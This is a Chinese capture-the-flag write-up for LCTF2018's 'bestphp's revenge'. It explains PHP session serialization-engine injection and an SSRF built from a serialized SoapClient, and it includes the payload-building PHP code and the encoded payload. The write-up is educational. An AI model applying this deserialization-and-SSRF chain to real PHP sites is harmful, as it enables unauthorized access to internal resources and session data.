LCTF2018-bestphp's revenge 詳細題解
- 2019 年 10 月 8 日
- 筆記
被LCTF虐自閉了,但是也學到了不少東西。題目品質和運維都很贊。
題目
題目給了源碼
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET[f],$_POST); session_start(); if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; } var_dump($_SESSION); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a); ?>
這裡只需要關注call_user_func
這個回調函數。 call_user_func
— 把第一個參數作為回調函數調用,第一個參數是被調用的回調函數,其餘參數是回調函數的參數。 這裡調用的回調函數不僅僅是我們自定義的函數,還可以是php的內置函數。比如下面我們會用到的extract。 這裡需要注意當我們的第一個參數為數組時,會把第一個值當作類名,第二個值當作方法進行回調。 例如
<?php class myclass{ static function say_hello(){ echo "hello!"; } } $classname = "myclass"; call_user_func(array($classname,'say_hello'));
結果就會調用類myclass
中的say_hello
方法,輸出hello!。 還有一個flag.php
session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
首先想到的是需要構造ssrf去訪問flag.php,然後獲取flag。再利用變數覆蓋把SESSION中的flag列印出來。
PHP中SESSION反序列化機制
可以參考乘物游心師傅的文章:https://blog.spoock.com/2016/10/16/php-serialize-problem/ 在尋找可以接收數組並且能夠SSRF的函數時,題目給了hint:反序列化。 題目中並沒有反序列化函數,由於session文件內容的格式不好控制,也無法利用phar://進行反序列化,那麼基本就可以確定題目與PHP中SESSION的反序列化機制有關。 我們可以利用回調函數來覆蓋session默認的序列化引擎。 阿樺師傅的XCTF Final Web1 Writeup:https://www.jianshu.com/p/7d63eca80686中有類似的方法,利用回調函數調用session_start函數,修改session的位置,再配合LFI進行getshell。
php中的session中的內容並不是放在記憶體中的,而是以文件的方式來存儲的,存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。 存儲的文件是以sess_sessionid來進行命名的,文件的內容就是session值的序列話之後的內容。 在php.ini中存在三項配置項:
session.save_path="" --設置session的存儲路徑 session.save_handler="" --設定用戶自定義存儲函數,如果想使用PHP內置會話存儲機制之外的可以使用本函數(資料庫等方式) session.serialize_handler string --定義用來序列化/反序列化的處理器名字。默認是php(5.5.4後改為php_serialize)
session.serialize_handler存在以下幾種
php_binary 鍵名的長度對應的ascii字元+鍵名+經過serialize()函數序列化後的值 php 鍵名+豎線(|)+經過serialize()函數處理過的值 php_serialize 經過serialize()函數處理過的值,會將鍵名和值當作一個數組序列化
在PHP中默認使用的是PHP引擎,如果要修改為其他的引擎,只需要添加程式碼ini_set('session.serialize_handler', '需要設置的引擎');。 php_binary引擎格式
<0x04>names:5:"Smi1e";

php引擎格式
name|s:5:"Smi1e";

php_searialize引擎格式
a:1:{s:4:"name";s:5:"Smi1e";}

當序列化的引擎和反序列化的引擎不一致時,就可以利用引擎之間的差異產生序列化注入漏洞。 例如傳入$_SESSION['name']='|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}';
序列化引擎使用的是php_serialize,那麼儲存的session文件為
a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}
而反序列化引擎如果使用的是php,就會把|
作為作為key和value的分隔符。把a:1:{s:4:"name";s:5:"
當作鍵名,而把O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}
當作經過serialize()函數處理過的值,最後會把它進行unserialize處理,此時就構成了一次反序列化注入攻擊。
尋找可以SSRF的類
題目中的源碼並沒有類,因此只能去利用php的原生類。 在l3m0n師傅的文章中找到可以利用php原生類SoapClient中的__call方法進行SSRF。 原文地址:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0 那麼本題的思路就清晰了。 利用回調函數覆蓋session序列化引擎為php_serilaze,構造SSRF的Soap類的序列化字元串配合序列化注入寫入session文件,然後利用變數覆蓋漏洞,覆蓋掉變數b為回調函數call_user_func,此時結合我剛開始所說的回調函數調用Soap類的未知方法,觸發__call方法進行SSRF訪問flag.php。把flag寫入session,再把session列印出來即可。
解題
構造SSRF的Soap類的序列化字元串
<?php $url = "http://127.0.0.1/flag.php"; $b = new SoapClient(null, array('uri' => $url, 'location' => $url)); $a = serialize($b); $a = str_replace('^^', "rn", $a); echo "|" . urlencode($a); ?>
本地生成payload:|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
覆蓋序列化引擎並將構造的Soap類序列化字元串寫入session文件。

此時session_start()序列化使用的是php引擎。接下里我們覆蓋變數b,利用call_user_func調用SoapClient類中的不存在方法,觸發__call方法,執行ssrf。並獲得訪問flag.php的PHPSESSID。

獲得的PHPSESSID的SESSION中的flag。
